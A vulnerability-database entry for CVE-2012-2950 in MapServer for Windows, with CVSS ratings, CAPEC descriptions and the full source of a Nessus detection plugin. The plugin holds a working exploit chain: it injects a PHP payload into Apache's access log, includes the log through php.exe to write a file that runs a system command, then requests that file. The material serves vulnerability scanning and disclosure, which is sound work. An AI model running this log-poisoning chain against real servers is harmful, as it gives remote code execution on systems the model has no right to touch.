Vulnerabilities > CVE-2012-2950 - Unrestricted Upload of File with Dangerous Type vulnerability in Gatewaygeomatics Mapserver

047910
CVSS 8.1 - HIGH
Attack vector
NETWORK
Attack complexity
HIGH
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
high complexity
gatewaygeomatics
CWE-434
nessus

Summary

Gateway Geomatics MapServer for Windows before 3.0.6 contains a Local File Include Vulnerability which allows remote attackers to execute local PHP code and obtain sensitive information.

Vulnerable Configurations

Part Description Count
Application
Gatewaygeomatics
1
OS
Microsoft
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing Functionality Not Properly Constrained by ACLs
    In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.
  • Privilege Abuse
    An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.

Nessus

NASL familyCGI abuses
NASL idMAPSERVER_MS4W_3_0_4_LFI.NASL
descriptionThe MapServer for Windows installation on the remote host is affected by a local file inclusion vulnerability due to an error in the bundled Apache and PHP configurations. Successful exploitation may allow an attacker to view arbitrary files on the remote host or allow the execution of arbitrary PHP code with SYSTEM privileges.
last seen2020-06-01
modified2020-06-02
plugin id62788
published2012-11-01
reporterThis script is Copyright (C) 2012-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/62788
titleMapServer for Windows (MS4W) Bundled Apache / PHP Configuration Local File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(62788);
  script_version("1.5");
  script_cvs_date("Date: 2018/11/15 20:50:17");

  script_cve_id("CVE-2012-2950");
  script_bugtraq_id(53737);

  script_name(english:"MapServer for Windows (MS4W) Bundled Apache / PHP Configuration Local File Inclusion");
  script_summary(english:"Tries to read a file remotely and execute code");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a local file inclusion
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The MapServer for Windows installation on the remote host is affected
by a local file inclusion vulnerability due to an error in the bundled
Apache and PHP configurations.  Successful exploitation may allow an
attacker to view arbitrary files on the remote host or allow the
execution of arbitrary PHP code with SYSTEM privileges.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2012/May/142");
  script_set_attribute(attribute:"see_also", value:"http://www.maptools.org/ms4w/index.phtml?page=HISTORY.txt");
  script_set_attribute(attribute:"solution", value:"Update to version 3.0.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/05/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/05/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:maptools:ms4w");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2018 Tenable Network Security, Inc.");

  script_dependencies("mapserver_ms4w_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/ms4w");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:80);

install = get_install_from_kb(
  appname      : "ms4w",
  port         : port,
  exit_on_fail : TRUE
);
dir = install["dir"];
loc = build_url(port:port, qs:dir + "/");

attack_file = SCRIPT_NAME - ".nasl" + "-" + unixtime() + ".php";

payload = "<?php $handle = fopen('../htdocs/"+attack_file+"', 'w'); $data='<?php system(ipconfig);?>'; fwrite($handle, $data);?>";

# Send our payload to store in access.log
res = http_send_recv3(
  method       : "HEAD",
  port         : port,
  item         : payload + dir + "/",
  exit_on_fail : TRUE
);
head_req = http_last_sent_request();

# Get path to Apache logs from phpinfo included with MS4W
res2 = http_send_recv3(
  method       : "GET",
  port         : port,
  item         : dir + "/phpinfo.php",
  exit_on_fail : TRUE
);

if ("<title>phpinfo()</title>" >< res2[2])
{
  matches = egrep(pattern:">DOCUMENT_ROOT", string:res2[2]);
  if (matches)
  {
    foreach match (split(matches, keep:FALSE))
    {
      item = eregmatch(pattern:'class="v">(.+) </td></tr>', string:match);
      if (!isnull(item))
      {
        path = item[1];
        break;
      }
    }
  }
}
if(isnull(path)) exit(0,"Unable to obtain path to access.log file for MapServer for Windows on port " + port + ".");

# Execute our attack by making a GET request to access.log
path = str_replace(string:path, find:'/', replace:'\\');
path = path - "htdocs";

res3 = http_send_recv3(
  method       : "GET",
  port         : port,
  item         : dir + "/cgi-bin/php.exe?-f" + path + "logs\access.log",
  exit_on_fail : TRUE
);
log_req = http_last_sent_request();

# Attempt to access the file we created with the attack
res4 = http_send_recv3(
  method       : "GET",
  port         : port,
  item         : dir + "/" + attack_file,
  exit_on_fail : TRUE
);

output = res4[2];
get_up_path = path + 'htdocs\\' + attack_file;

if (egrep(pattern:"Windows IP Configuration", string:output))
{
  if (report_verbosity > 0)
  {
    snip = crap(data:"-", length:30) + " snip " + crap(data:"-", length:30);
    report =
      '\nNessus was able to verify the issue exists by creating and then' +
      '\nrequesting the following web page : ' +
      '\n' +
      '\n' + loc + attack_file +
      '\n' +
      '\nNote: This file has not been removed by Nessus and will need to be' +
      '\nmanually deleted (' + get_up_path + ').' +
      '\n';

    if (report_verbosity > 1)
    {
      report +=
        '\n' + 'This produced the following output :' +
        '\n' +
        '\n' + snip +
        '\n' + chomp(output) +
        '\n' + snip +
        '\n' +
        '\n' + 'This file was created using the following pair of requests :' +
        '\n' +
        '\n' + head_req + '\n' + log_req +
        '\n';
    }
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "MapServer for Windows", loc);